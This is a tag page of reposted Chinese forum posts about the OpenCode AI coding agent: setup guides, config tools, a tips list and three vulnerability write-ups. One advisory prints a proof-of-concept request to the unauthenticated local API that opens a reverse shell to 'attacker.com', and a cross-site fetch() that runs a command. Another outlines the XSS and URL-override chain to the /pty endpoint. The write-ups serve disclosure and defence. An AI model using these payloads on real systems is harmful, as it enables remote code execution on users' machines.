标签 OpenCode 下的文章

OpenCode 未认证远程命令执行漏洞 前言 Opencode 最近也是很火,看着公众号天天都在推,结果一番,翻到了还有未授权命令执行漏洞,于是来分析分析 在github 已经是超过 66k star 了

漏洞描述 OpenCode 是一个开源的人工智能编码代理。在升级到版本 1.0.216 之前,OpenCode 会自动启动未经验证的 HTTP 服务器,允许任何本地进程(或通过允许 CORS 的任何网站)以用户的权限执行任意 shell 命令。这一漏洞已在版本 1.0.216 中得到修复。 环境搭建

git clone https://github.com/sst/opencode.git
cd opencode
git checkout v1.0.215

bun install

bun run dev

服务器默认监听 http://127.0.0.1:4096,无需任何认证即可访问 验证是否搭建成功

GET /global/health HTTP/1.1
Host: 127.0.0.1:4096
Sec-Fetch-Dest: document
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Sec-Fetch-Mode: navigate
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
Sec-Fetch-Site: none


漏洞复现 复现步骤 首先创建一个会话 我们不需要传入参数的,但是必须得有下面的 json

记录 id 就可以直接执行命令了,而且这个端点未授权

pty 路由的话利用方法还更多

利用脚本

漏洞分析 session 执行命令

server.ts - HTTP 服务器配置

.use(cors()) 配置了宽松的 CORS 策略,允许任何源访问而且整个应用中没有任何认证中间件导致所有端点都可以未授权访问 /session/:sessionID/shell 端点

SessionPrompt.shell

很直白 1 用户提供的 command 直接放入 args 2 使用 spawn(shell, args) 执行 3命令以 OpenCode 进程的用户权限运行 4输出返回给 /pty 命令执行 相比于 shell,更强大 API 端点列表:

创建 PTY:

WebSocket 交互源码:

如何利用在漏洞复现部分已经给出了 漏洞修复 还未修复,不过如果需要修复也很简单,加认证就好了,当然有人会有疑问,怎么可能有人把opencode部署在公网上,去fofa搜了,你别说,还真有

image.png

都能直接看到别人的项目 参考资料

资源
链接
漏洞公告
源码仓库

免责声明 本漏洞分析报告仅供安全研究和教育目的使用。请勿将此信息用于任何非法活动。

第一稿,出去吃火锅了…


断断续续研究了将近一天,终于把 cc codex 和 opencode 都迁移到了 wsl 里 了;在这里开个记录帖子,记录下自己遇到的问题以及解决方案,欢迎各位佬友友好交流,分享自己的经验。

1. 迁移动机(废话略多)

  • 最重要的一点,codex 在 windows 上的表现不佳且速度慢
    在 windows 上使用 codex 的佬友一定经常见到过 codex 的 PowerShell 语法错误… 大量的时间和 token 被浪费于此,尽管在提示词里针对 codex 经常犯错的部分进行了提示,但仍无法有效地解决,根本原因还是 pwsh 的训练数据太少,而 unix 类天生就是大家默认的开发环境,数据多,支持地更好。且在 Linux 上 codex、cc 运行起来也更加丝滑

  • opencode 的 windows 兼容过于垃圾
    opencode 在爆火之前我就早早的接触过了,然而… 其对 windows 的支持可谓十分之差,经常出现上一个版本还是可以启动,下一个版本就不能启动了,打开 opencode 的 github 你会发现类似的 issue 层出不穷,最经典的就是渲染出错,启动 opencode,出现 opencode [object] [Object];在经历数次 codex 手动修复让其能够启动后,我受够了。

  • 常用的工具包或插件如 codeagent 和 claude mem 等对于 windows 的支持也很差
    前者是我使用频率最高的 workflow+skill;而后者我更是从来没有在 windows 上成功启动过,考虑到众多插件都会优先支持 Linux 和 MacOS,我还是迁移的好。

2. windows 已有配置

  • cc switch
    我是 cc switch 的忠实用户,ccs 的伟大无需多言;我用到的核心功能主要是

    1. 多配置切换,供应商 + 全局提示词;我有各家的 coding plan 以及自己手写的多套全局提示词,十分需要 ccs 统一管理;

    ccs 在当前版本可以指定 wsl 目录,这使得迁移起来没有什么难度,但是我并没有选择使用。

    1. ccs 的代理和统计功能,开启后可以直观地观测自己每天的 token 用量;ccs 的本地代理功能也是此次迁移较为顺利的根本原因

3. 迁移记录

3.1 基础部分

  1. 安装 codex claude code opencode;过于简单,为了方便,我统一用 npm 了;

  2. 添加供应商配置,这个时候,刚才说过的 ccs 的本地代理功能就派上用场了;只需要把 url 指向 ccs 的代理端口即可,这里以 codex 为例


    我出于一些考量,并没有选择用 ccs 直接配置,你也可以在这里更改配置目录后用 ccs 进行配置,更加自动

3.2 问题来了

mcp 迁移,对于一些 npx nvx 或者 remote 类型的 mcp 很简单,都不需要改;

都知道 wsl 好,为什么我迟迟没有迁移打算呢,问题就在于这里,因为个人手搓的小玩意对于 playwright 的依赖程度较高,而 wsl… 配置图形化… 比较麻烦吧,支持地也不好,当然 这些都不是问题。

在调研站里的方案,以及询问 gpt52pro 后,我有了方案 1:

方案 1: WSL2 里跑 Linux Playwright(WSLg)

在 WSL2 里跑 Linux 浏览器(WSLg 出窗口),这个… 需要做不少的前置准备,且最后的效果也不尽人意,我在跑通后遂放弃。

1 首先必须有显示环境(WSLg)

 echo "$DISPLAY" echo "$WAYLAND_DISPLAY" echo "$XDG_RUNTIME_DIR" 

2 得有浏览器二进制(Playwright 下载的 Chromium/Firefox/WebKit)


npx playwright install

3 必须有系统依赖(Ubuntu 的一堆 .so)

 # 安装系统依赖 sudo env "PATH=$PATH" npx playwright install-deps

这一套跑完,可以按照站里佬的方案持久化安装 playwright 或者 npx 启动;

它的问题是什么呢?WSLg 的浏览器实在太丑了!包括且不限于

  1. 字体的缺失导致渲染出来的网页相当地丑,你根本无法判断是自己 UI 设计问题还是渲染问题
  2. 启动时候默认一个半截窗口,全屏后不会响应式调整页面大小!这个过于逆天

尤其是 2 是我放弃方案 1 的最直接原因;

而方案 2 是我现在使用的方案,我似乎没有看到有佬提及这个方案来着?有一个佬友给出了类似的 chrome dev mcp 的安装方式,所以我就放上来供佬友参考;

方案 2: Windows 侧 Playwright MCP

基本的原理:

WSL2 (Ubuntu): claude / codex
  |
  v
/mnt/c/Windows/System32/cmd.exe /c npx @playwright/mcp@latest
  |
  v
Windows: Node+npx -> @playwright/mcp -> Playwright -> Browser (Windows GUI)

那么很简单了,以 cc 为例子:

"playwright": { "type": "stdio", "command": "/mnt/c/Windows/System32/cmd.exe", "args": ["/c", "npx", "@playwright/mcp@latest"], "env": {} } 

就这么简单

4. 番外部分

4.1 官方订阅问题

当前版本的 ccs 在 codex official oauth 时候不支持本地代理功能,那么如何也让它走统计呢?答案很简单,走 cliproxyapi 这类的反代工具套一层即可,这样子官方订阅也就可以被 ccs 后台统计用量了;

同理,对于 antigravity tool 这类工具,也可以接入到 ccs 里统一参与用量统计;

4.2 opencode 问题

如何让 opencode 也能用上 ccs 的代理功能,其实站里有佬友已经给出解决方案了,以 codex 为例,答案就是覆写 opencode 的 openai 供应商的 base_url 字段,更改其为 ccs 暴露的本地代理端口;

不过我由于日常只有 cc 在用 omo 工作流时候会用到 opencode 的 grok 模型,对 opencode 的研究并不多,当前我发现一个很奇怪的问题,就是 opencode 会请求 gpt-5-nano;这里我还没有找到很好的解决思路。

希望有佬友可以出手!


📌 转载信息
原作者:
FunctorFish
转载时间:
2026/1/18 19:07:52

看到了佬的播放器项目:https://linux.do/t/topic/1473938
以及大佬的 API(再次感谢):https://linux.do/t/topic/1212285
秉承周末自己闲着也不能让 AI 牛马闲着,正好想试试 OpenSpec 效果如何于是有了下面的:
mplayer-eight.vercel.app
等实际试用段时间看看能不能替代 AppleMusic
[那样我就可以把订阅退了,每月立省一杯奶茶 ]

使用手机浏览器打开播放,只支持随机当背景音乐。
多久会被杀后台还没测出来。。。
用时约 2h

项目地址:GitHub - yxegla/mplayer: 简洁优雅的在线音乐播放器 - iPhone 优化


📌 转载信息
原作者:
nobody
转载时间:
2026/1/18 15:50:06

漏洞概述 CVE-2026-22813 是OpenCode开发环境中的一个高危安全漏洞,该漏洞通过巧妙的攻击链组合,允许远程攻击者在用户本地计算机上执行任意代码(RCE)。该漏洞的影响评分为9.4,影响OpenCode 1.1.10之前的所有版本。 漏洞背景 OpenCode是一个流行的本地开发工具,默认在localhost:4096端口运行HTTP服务,提供网页UI和API接口。该工具集成了AI聊天功能,允许开发者通过自然语言交互进行编程。 三重攻击链解析 第一环:XSS漏洞(初始立足点) 漏洞位置:OpenCode网页UI的Markdown渲染器 根本原因 1 HTML净化失效:用于渲染LLM响应的DOMPurify库未正确启用净化功能 2 缺乏CSP防护:网页界面没有实施内容安全策略 3 信任边界混淆:将不可信的LLM输出直接插入DOM而不进行转义 攻击影响:攻击者通过精心设计的提示词,可以让LLM生成包含恶意JavaScript代码的响应,这些代码会在用户浏览器中执行。 技术细节

Plain Text

复制代码
// 示例:恶意LLM响应绕过净化
const maliciousResponse = {
content: 'Here is your code:<script>evil()</script>'
};
// DOMPurify未启用,脚本直接执行

第二环:服务器URL覆盖滥用(攻击放大器) 功能机制:OpenCode网页UI支持通过URL参数动态指定后端服务器地址:

Plain Text

复制代码
// packages/app/src/app.tsx中的关键代码
const defaultServerUrl = (() => {
const param = new URLSearchParams(document.location.search).get("url");
if (param) return param; // 致命缺陷:无验证、无限制
return window.location.origin;
})();

攻击利用
攻击者构造恶意链接,诱骗用户点击:

Plain Text

复制代码
http://localhost:4096/Lw/session/ses_攻击者会话ID?url=https://恶意服务器.example

点击后的攻击流程 1 用户浏览器访问本地OpenCode页面(localhost:4096 2 网页UI读取?url=参数,连接至攻击者控制的服务器 3从攻击者服务器加载预先准备好的恶意会话内容 4恶意内容触发第一环的XSS漏洞 关键突破:此环节将需要复杂前置条件的XSS攻击转化为一键触发的远程攻击,攻击成功率从"可能"提升至"必然"。 第三环:本地API滥用(最终杀伤) 高危API端点http://localhost:4096/pty/ API功能:该端点允许在本地系统上生成任意进程,为开发功能提供终端访问。 同源策略绕过
由于恶意JavaScript代码在localhost:4096源下执行,它可以无限制地访问同源的所有API:

最终实现:攻击者可以: 1下载并执行远程恶意脚本 2安装后门程序 3窃取敏感文件 4横向移动至内网其他系统 漏洞复现

image.png

提供恶意聊天会话的一个简单方法是在真实的OpenCode实例前设置mitmproxy。这是必要的,因为OpenCode的网页界面必须加载大量资源,才能加载并显示聊天会话。 1.安装有漏洞的版本

2.创建恶意会话文件 evil_session.json

这个载荷会尝试在受害者机器上创建文件 /tmp/pwned_success 作为攻击成功的证明。 启动简易HTTP服务器

3.进行攻击 1用插件在反向代理模式下启动 mitmproxy

2 启动服务

3 构造恶意URL 在同一台运行OpenCode的机器上,访问以下URL:

原理?url= 参数滥用让本地UI加载远程恶意会话。 4 确认文件是在目录中创建/tmp/

漏洞修复

image.png

移除内嵌JavaScript

image.png

添加了 DOMPurify 依赖

image.png

在图像预览组件中添加了安全处理 防止了XSS攻击 移除移除动态JavaScript执行和自定义URL参数

image.png

改了306行代码,近乎重写了该文件 移除自定义URL参数

image.png

通过props控制,不再从window对象读取 结论 CVE-2026-22813是一个典型的"功能滥用→权限提升→系统控制"三重攻击链案例。它暴露出: 1 深度防御的缺失:缺乏输入验证、输出编码、权限控制的多层防护 2 信任模型的缺陷:过度信任客户端输入和本地网络环境 3 安全开发生命周期的不足:危险功能上线前缺乏威胁建模

本地架设也行,丢到服务器上去也行,基于opencode serve,可以直接选择自定义的agent和模型,每个agent都是独立线程,完全模拟群聊的感觉


📌 转载信息
转载时间: 2026/1/18 12:10:31

OpenCode 中文汉化版 - 双语版本 - v6.1

基于 @QinTian 的汉化项目进行改进

这个是大佬的帖子: 【汉化】OpenCode 开源汉化脚本!

由于每次 opencode 官方更新的很勤快,会有新的文件增加,

花了半天时间弄了个自动更新,然后加了个 ai 检查并且自动写入语言包里面。

然后发现有时候翻译的会导致官方源文件报错,又逐步增加了 ai 审查一些乱七八糟的。

反正现在凑合用。不怕官方在更新了。

用的 ai 是用的反重力的,接口,

如果你需要接入 ai, 你启动 ai 后,让 ai 自己把接口接进来。就 ok

新增 AI 自动翻译和质量检查功能。

项目地址

效果展示

交互式菜单覆盖率报告质量检查

| 新增功能 |
| ------ 功能 -------| ---------------- 说明 --------------------------------- |
| **AI 自动翻译 ** | 官方更新后自动检测新文本,调用 AI 翻译 ------------- |
| ** 增量翻译 ** | opencodenpm apply --incremental,仅翻译 git 变更文件 |
| ** 质量检查 ** | opencodenpm check --quality,语法检查 + AI 语义审查 |
| ** 自动修复 ** | 发现语法问题时 AI 自动修复 ------------------------------ |
| ** 覆盖率报告 ** | 显示翻译统计 + AI 智能总结 ----------------------------|
| ** 跨平台支持 ** | Node.js CLI 替代 PowerShell,macOS/Linux/Windows 通用 |

技术改进

  • ** 语法安全检查 **:引号、花括号、{highlight} 标签匹配检测
  • ** 双语格式 **:统一为 中文 (English) 格式,便于理解原义
  • ** 交互式菜单 **:分类清晰,键盘导航
    翻译统计
  • 605 条翻译,质量评分 100/100
  • 对话框:34 文件 / 186 条
  • 组件:16 文件 / 212 条
  • 路由:11 文件 / 149 条
  • 通用:10 文件 / 54 条
    快速开始

克隆

git clone GitHub - xiaolajiaoyyds/OpenCodeChineseTranslation: opencode 汉化脚本 - mac
cd OpenCodeChineseTranslation

安装

cd scripts && npm install && npm link

运行(交互式菜单)

opencodenpm

编译

opencodenpm build && opencodenpm deploy && opencode
AI 翻译配置
创建 .env 文件,支持任何 OpenAI 兼容 API:
OPENAI_API_KEY=your-key
OPENAI_API_BASE=http://127.0.0.1:8045/v1
OPENAI_MODEL=claude-sonnet-4-20250514
推荐使用 Antigravity Tools (https://agtools.cc) 本地反代,支持 Claude/GPT/Gemini 等模型。

有啥问题在留言,我抽空解决看看~

说明一下,配置文件都在用户的根目录下面,所以不用担心每次更新后会把配置文件丢失


感觉有问题的话,先提前做一个备份。


📌 转载信息
原作者:
xiaolajiao
转载时间:
2026/1/18 08:44:07

基本上需要的功能齐全了

Antigravity+GemeniCLI 双额度
原生 Google_Search
原生大香蕉文生图 图生图

在 opencode 里可以和 Antigravity 里一样自动调用生图工具制作 / 修改项目需要的图片


📌 转载信息
转载时间:
2026/1/16 16:50:22

漏洞告警:OpenCode 远程代码执行漏洞 (CVE-2026-22812)

  • 漏洞名称:OpenCode 自动启动未授权 HTTP 服务器导致 RCE
  • 漏洞编号:CVE-2026-22812 / QVD-2026-3051
  • 影响版本:OpenCode < 1.0.216
  • 修复版本:OpenCode 1.0.216 (已修复)
  • 风险评级高危 (CVSS 3.1: 8.8)


OpenCode 是一款流行的开源 AI 编码代理。该漏洞的成因在于其内部架构存在 “默认不安全” 的设计逻辑:

  1. 未授权 API 服务:软件启动后会默认在本地开启一个 HTTP 端口用于通讯(常见端口为 4096),但该服务没有任何身份验证机制(无 Token,无 API Key)。
  2. 宽容的 CORS 策略:该本地服务器配置了极其宽松的跨域资源共享(CORS)策略,允许任何域名的网页发起跨域请求。

攻击向量:

  • 本地触发:本机任何恶意程序可直接通过该端口执行指令。
  • 跨站攻击 (CORS 触发):受害者在运行 OpenCode 时,只需在浏览器中打开攻击者构造的恶意网页,网页中的 JS 脚本即可越权调用本地 API 执行任意系统命令。
攻击向量受影响版本状态技术说明
任意网站 RCE< v1.0.216已修复通过宽容的 CORS 策略,恶意网页可跨域执行代码。
本地进程执行< v1.1.10缓解任何本地进程可通过 HTTP 接口执行指令。
本地网页执行< v1.1.10缓解本地 HTML 文件可通过 API 接口触发 RCE。
服务器模式风险所有版本未修复启用服务器模式后,本地进程 / 网页仍具执行权限。
隐蔽运行风险所有版本未修复服务器运行时无任何 UI 提示,用户无法感知风险。
mDNS 局域网风险所有版本未修复使用 --mdns 时绑定到 0.0.0.0,局域网内机器可控。
子域名信任风险所有版本未修复*.opencode.ai 下的任何页面均具代码执行权限。
供应链 / XSS 风险所有版本未修复opencode.ai 的 XSS 或域名失陷将导致所有用户受影响。


警告:以下内容仅供合规安全自查使用,严禁非法用途。

POC, 仅供技术研究,切勿私自改造为 EXP

1. 核心攻击请求 (HTTP 原始载荷)

攻击者向本地 API 端口发送 POST 请求执行反弹 Shell 指令:

POST /api/execute HTTP/1.1
Host: 127.0.0.1:4096
Content-Type: application/json
Origin: http://evil-attacker.com

{
  "command": "bash -i >& /dev/tcp/attacker.com/4444 0>&1"
}

2. 跨站 JavaScript 利用 (Web 侧)

诱导受害者点击后,在后台静默执行的脚本:

fetch("http://127.0.0.1:4096/api/execute", {
    method: "POST",
    mode: "cors",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({
        "command": "calc.exe"
    })
});


  • 端口监听:立即排查本地系统中是否存在监听 4096 或类似端口的 OpenCode 相关进程。
  • 流量审计
    • 关注所有目的地为 127.0.0.1 且包含 commandexecute 字段的 POST 请求。
    • 重点检查 HTTP 请求头中的 Origin 字段是否包含非受信任的外部域名。
  • 权限检查:确认 OpenCode 是否以 Root 或 Administrator 权限运行,这决定了 RCE 造成的损害级别。


  1. 强制升级:请确保 OpenCode 升级至 1.0.216 或更高版本。新版本增加了鉴权令牌并收紧了 CORS。
  2. 防火墙策略:在未升级前,通过系统防火墙(如 iptables 或 Windows Defender)阻断该端口的一切非必要入站流量。
  3. 安全习惯:在使用本地 AI 代理工具时,避免在同一浏览器 Session 下浏览高风险网站。


报告日期


📌 转载信息
原作者:
ddb
转载时间:
2026/1/16 16:49:28

最近已经用 OpenCode 搭配 Oh-My-OpenCode 替换 CC 了
在源码中找到 100 个小技巧

输入与文件操作

  1. 输入 @ 后跟文件名可模糊搜索并附加文件
  2. 以!开头可直接运行 shell 命令(如!ls -la)
  3. 拖放图片到终端可添加为上下文
  4. Ctrl+V 从剪贴板粘贴图片到提示框
  5. Ctrl+X E 或 /editor 在外部编辑器中编写消息
  6. Shift+Enter 或 Ctrl+J 在提示中添加换行
  7. Ctrl+C 清空输入框
  8. Escape 中途停止 AI 响应

Agent 与模型

  1. Tab 在 Build 和 Plan agent 之间切换
  2. 切换到 Plan agent 可获得建议而不实际修改
  3. 使用 @agent-name 在提示中调用专用子 agent
  4. F2 快速切换最近使用的模型
  5. /models 或 Ctrl+X M 查看和切换可用 AI 模型
  6. /connect 添加 75+ 支持的 LLM 提供商的 API key
  7. 使用 /connect 连接 OpenCode Zen 获取精选模型

会话管理

  1. /undo 撤销最后的消息和文件更改
  2. /redo 恢复之前撤销的消息和文件更改
  3. /share 创建对话的公开链接
  4. /unshare 取消会话的公开访问
  5. Ctrl+X N 或 /new 开始新会话
  6. /sessions 或 Ctrl+X L 列出并继续之前的对话
  7. /compact 在接近上下文限制时总结长会话
  8. Ctrl+X X 或 /export 将对话保存为 Markdown
  9. Ctrl+X Y 复制助手的最后一条消息到剪贴板
  10. Ctrl+X Right/Left 在父子会话间切换
  11. /rename 重命名当前会话
  12. Ctrl+X G 或 /timeline 跳转到特定消息

界面导航

  1. Ctrl+P 查看所有可用操作和命令
  2. Leader 键是 Ctrl+X,与其他键组合可快速操作
  3. Ctrl+X B 显示 / 隐藏侧边栏
  4. PageUp/PageDown 浏览对话历史
  5. Ctrl+G 或 Home 跳转到对话开头
  6. Ctrl+Alt+G 或 End 跳转到最新消息
  7. /theme 或 Ctrl+X T 在 50+ 内置主题间切换
  8. /init 根据代码库结构自动生成项目规则
  9. Ctrl+X H 切换消息中代码块的可见性
  10. Ctrl+X S 或 /status 查看系统状态信息
  11. 启用 tui.scroll_acceleration 获得 macOS 风格平滑滚动
  12. 通过命令面板 (Ctrl+P) 切换用户名显示
  13. /help 或 Ctrl+X H 显示帮助对话框
  14. /details 切换工具执行详情可见性
  15. Ctrl+Z 挂起终端返回 shell
  16. /review 审查未提交的更改、分支或 PR

配置文件

  1. 在项目根目录创建 opencode.json 进行项目特定设置
  2. 在~/.config/opencode/opencode.json 放置全局配置
  3. 添加 $schema 到配置以在编辑器中获得自动补全
  4. 配置 model 设置默认模型
  5. 通过 keybinds 部分覆盖任何快捷键
  6. 将快捷键设为 none 完全禁用它
  7. 在 mcp 配置部分配置本地或远程 MCP 服务器
  8. OpenCode 自动处理需要认证的远程 MCP 服务器的 OAuth
  9. 使用 {env:VAR_NAME} 语法在配置中引用环境变量
  10. 使用 {file:path} 在配置值中包含文件内容
  11. 使用 instructions 在配置中加载额外的规则文件
  12. 设置 agent temperature 从 0.0(专注)到 1.0(创意)
  13. 配置 maxSteps 限制每个请求的 agentic 迭代次数
  14. 设置 “tools”: {“bash”: false} 禁用特定工具
  15. 设置 “mcp_*”: false 禁用 MCP 服务器的所有工具
  16. 为每个 agent 配置覆盖全局工具设置
  17. 设置 “share”: “auto” 自动共享所有会话
  18. 设置 “share”: “disabled” 阻止任何会话共享
  19. 使用 “theme”: “system” 匹配终端颜色

自定义命令与 Agent

  1. 在 .opencode/command/ 添加 .md 文件定义可重用自定义提示
  2. 在自定义命令中使用 $ARGUMENTS、$1、$2 进行动态输入
  3. 在命令中使用反引号注入 shell 输出(如 git status
  4. 在 .opencode/agent/ 添加 .md 文件创建专用 AI 角色
  5. 为 edit、bash 和 webfetch 工具配置每个 agent 的权限
  6. 使用 “git *”: “allow” 模式进行细粒度 bash 权限
  7. 设置 “rm -rf *”: “deny” 阻止破坏性命令
  8. 配置 “git push”: “ask” 在推送前要求批准
  9. 运行 opencode agent create 进行引导式 agent 创建

格式化与 LSP

  1. OpenCode 使用 prettier、gofmt、ruff 等自动格式化文件
  2. 在配置中设置 “formatter”: false 禁用所有自动格式化
  3. 在配置中定义带文件扩展名的自定义格式化命令
  4. OpenCode 使用 LSP 服务器进行智能代码分析

工具与插件

  1. 在 .opencode/tool/ 创建 .ts 文件定义新的 LLM 工具
  2. 工具定义可以调用 Python、Go 等编写的脚本
  3. 在 .opencode/plugin/ 添加 .ts 文件创建事件钩子
  4. 使用插件在会话完成时发送系统通知
  5. 创建插件阻止 OpenCode 读取敏感文件

CLI 使用

  1. opencode run 用于非交互式脚本
  2. opencode run --continue 恢复上一个会话
  3. opencode run -f file.ts 通过 CLI 附加文件
  4. –format json 用于脚本中的机器可读输出
  5. opencode serve 用于无头 API 访问 OpenCode
  6. opencode run --attach 连接到运行中的服务器
  7. opencode upgrade 更新到最新版本
  8. opencode auth list 查看所有配置的提供商
  9. opencode debug config 排查配置问题
  10. –print-logs 标志在 stderr 中查看详细日志

GitHub 集成

  1. 在 GitHub issues/PRs 中使用 /opencode 触发 AI 操作
  2. opencode github install 设置 GitHub workflow
  3. 在 issues 上评论 /opencode fix this 自动创建 PR
  4. 在 PR 代码行上评论 /oc 进行针对性代码审查
  5. 提交项目的 AGENTS.md 文件到 Git 供团队共享

主题

  1. 在 .opencode/themes/ 目录创建 JSON 主题文件
  2. 主题支持深色 / 浅色变体
  3. 在自定义主题中引用 ANSI 颜色 0-255

权限

  1. doom_loop 权限防止无限工具调用循环
  2. external_directory 权限保护项目外的文件

容器化

  1. 运行 docker run -it --rm Package opencode · GitHub 使用容器化版本


来源


📌 转载信息
原作者:
chowxiaodi
转载时间:
2026/1/16 12:54:51

佬们很多问题 gpt 配置不好 今天说一下

先去

下载最新的版本
几个点要注意:

1、要重新建立 @ai-sdk/anthropic 类型 SDK 的 Provider

2、公益站要用 Codex 分组的 KEY(有的站是通用 key 可以忽略)

3、options 中我软件预设的有 "reasoning": “high”

这样就可以喽

下课!!!


📌 转载信息
原作者:
icysaintdx
转载时间:
2026/1/16 12:51:41


GitHub: https://github.com/fengshao1227/Open-Switch

觉得有用的话留个 Star

起因

用 OpenCode CLI 的时候,每次切换 API 提供商都要手动改 JSON 配置文件,改完还得重启终端。用多了几个 API 服务商之后,配置文件越改越乱,有时候还会不小心写错格式导致启动失败。

并且找了站内的关于 opencode 的第三方 api,都是手动编写,作为一个 ai 时代高效开发的人来说,怎么可能让配置第三方 api 这种小事耽误时间,所以想着能不能做个图形界面来管理这些配置,就顺手写了这个工具。


能干什么

管理 API 提供商

  • 接入 wong 佬的 claude api

管理 MCP 服务器

MCP (Model Context Protocol) 服务器配置也能在界面上管理:

  • 本地服务器:基于命令行启动 (npx、node 之类的)

  • 远程服务器:基于 URL 的远程服务

  • 环境变量配置

  • 单独启用 / 禁用某个服务器

Windows 用户不用担心,会自动给 npm/npx 命令加上 cmd /c 包装。

管理全局提示词

OpenCode 的 AGENTS.md 可以在界面上编辑了:

  • 创建多个提示词模板,一键切换

  • 切换时自动备份当前提示词


下载安装

预编译版本

Releases 下载对应系统的版本:

  • macOS: Open-Switch_x.x.x_aarch64.dmg (Apple Silicon) 或 Open-Switch_x.x.x_x64.dmg (Intel)

  • Windows: Open-Switch_x.x.x_x64-setup.exe

  • Linux: Open-Switch_x.x.x_amd64.AppImage.deb

从源码构建


git clone https://github.com/fengshao1227/Open-Switch.git

cd Open-Switch/open-switch

pnpm install

pnpm build

构建完的安装包在 src-tauri/target/release/bundle/ 目录。


使用方法

添加 API 提供商

  1. 点击 "添加提供商"

  2. 选择 SDK 类型 (OpenAI/Anthropic/Google)

  3. 填写 API Key 和其他配置

  4. 保存

配置会自动写入 ~/.config/opencode/opencode.json~/.local/share/opencode/auth.json

配置 MCP 服务器

  1. 点击 "MCP 服务器" 标签

  2. 添加本地或远程服务器

  3. 配置命令 / URL 和环境变量

  4. 启用需要的服务器

切换提示词模板

  1. 点击 "提示词" 标签

  2. 创建新模板或编辑现有模板

  3. 点击 "激活" 切换到对应模板

  4. 会自动同步到 ~/.config/opencode/AGENTS.md


技术栈

前端: React 18 + TypeScript + TailwindCSS + shadcn/ui + TanStack Query + Framer Motion

后端: Tauri 2.x + Rust + SQLite

构建: Vite + pnpm

选 Tauri 是因为比 Electron 轻很多,打包出来的体积小,启动也快 awa。


配置文件位置

| 文件 | 用途 |

|------|------|

| ~/.config/opencode/opencode.json | OpenCode 主配置 |

| ~/.local/share/opencode/auth.json | API Key 存储 |

| ~/.config/opencode/AGENTS.md | 全局提示词 |

| ~/.open-switch/open-switch.db | 本地提示词模板数据库 |

Windows 系统会自动适配成 Windows 路径。


常见问题

Q: 和 OpenCode CLI 是什么关系?

A: 这是个配置管理工具,通过读写 OpenCode 的配置文件来管理设置,不影响 OpenCode CLI 本身的使用。

Q: API Key 安全吗?

A: API Key 存在 ~/.local/share/opencode/auth.json, 文件权限受操作系统保护。工具不会把密钥上传到任何地方。

Q: 遇到问题怎么办?

A: 在 GitHub Issues 提问题,或站内回帖,我会尽快回复。


开发相关

如果想参与开发或者自己改改:

 cd open-switch

pnpm install

pnpm dev # 启动开发模式 

项目结构:

  • src/ - 前端代码 (React + TypeScript)

  • src-tauri/ - 后端代码 (Rust)

  • src-tauri/src/config.rs - OpenCode 配置管理

  • src-tauri/src/database.rs - SQLite 数据库

  • src-tauri/src/prompt_service.rs - 提示词业务逻辑

欢迎提 PR, 提之前跑一下 pnpm typecheckpnpm format:check 确保代码格式没问题。


界面预览(gemini 自由发挥的,win 的效果我还没看,下面是 mac 的)




致谢

这个项目的灵感和很多实现细节都来自 CC Switch。CC Switch 是一个非常优秀的 Claude Code/Codex/Gemini CLI 配置管理工具,功能强大、架构清晰。Open Switch 在它的基础上做了一些调整,专注于 OpenCode CLI 的配置管理。

感谢 linux.do 社区提供的技术交流平台,很多问题和思路都是在社区里讨论出来的(来到这里 2 个月来,学到了很多东西)。


许可证

MIT License


版本: v1.0.0 | 最后更新


📌 转载信息
原作者:
feng_li
转载时间:
2026/1/16 12:28:32

昨晚开始开始入手 OpenCode ,整理了一份从零开始的安装与配置笔记,分享给各位佬友。

第一阶段:基础安装与核心插件

1. 安装 OpenCode

推荐使用 brew 安装,稳定性更高:

  • macOS/Linux: brew install anomalyco/tap/opencode
  • Node 环境: npm i -g opencode-ai

2. 必装 “全家桶” 插件

安装完成后先输入 opencode 启动(能白嫖 GLM4.7),然后在会话中直接粘贴以下链接安装 oh-my-opencode

Install and configure by following the instructions here https://raw.githubusercontent.com/code-yeongyu/oh-my-opencode/refs/heads/master/README.md

进阶推荐:

  • opencode-dcp: 自动清理对话历史中过时的工具输出,显著减少 Token 消耗。

第二阶段:进阶配置(接入 OneAPI / 中转站)

由于 OpenCode CLI 执行任务时会有大量 Tool Use 调用,普通 URL 转发容易协议报错。这里推荐使用 CLIProxyAPI (CPA) 进行协议转换。

1. 部署 CPA 环境

建议直接走 Source Build,日志更透明:

git clone https://github.com/router-for-me/CLIProxyAPI.git
cd CLIProxyAPI
go mod download
go run main.go # 启动 

2. CPA 核心配置 (config.yaml)

坑点: 字段名必须准确,否则会静默失败。

  • 确保使用 auth-dir 而不是旧版的 credentials-directory
  • 供应商字段是 openai-api-keys(复数,带 s)。
port: 8317 auth-dir: "/绝对路径/auth" allow-unauthenticated: true # 本地调试建议开启 openai-api-keys: - api-key: "sk-OneAPI令牌" base-url: "https://OneAPI地址/v1" models: - id: "claude-opus-4-5" # OpenCode 中显示的名称 map-to: "claude-opus-4-5-20251101" # OneAPI 后台真实 ID 

第三阶段:OpenCode 配置文件打通

修改 ~/.config/opencode/opencode.json。因为 CPA 侧开了免密,这里直接配置 Provider 即可:

{
  "$schema": "https://opencode.ai/config.json",
  "plugin": [
    "oh-my-opencode",
    "@tarquinen/opencode-dcp@latest"
  ],
  "provider": {
    "anthropic": {
      "options": {
        "baseURL": "http://127.0.0.1:8317/v1"
      }
    }
  }
}

踩坑

  1. 代理污染(502 报错):如果终端开了 http_proxy,请求 localhost 可能会被劫持导致失败。执行前记得:unset http_proxy https_proxy all_proxy 或者使用 curl -v --noproxy “*” http://127.0.0.1:8317/v1/models 测试连通性。
  2. Thinking 模式没显示?:按 Ctrl + P,搜索 think 即可手动开启或关闭思维链显示。
  3. YAML 解析失败:Go 解析路径时对~/ 支持不佳,建议在 config.yaml 中全部使用绝对路径。

管理端 UI


📌 转载信息
转载时间:
2026/1/15 18:27:44

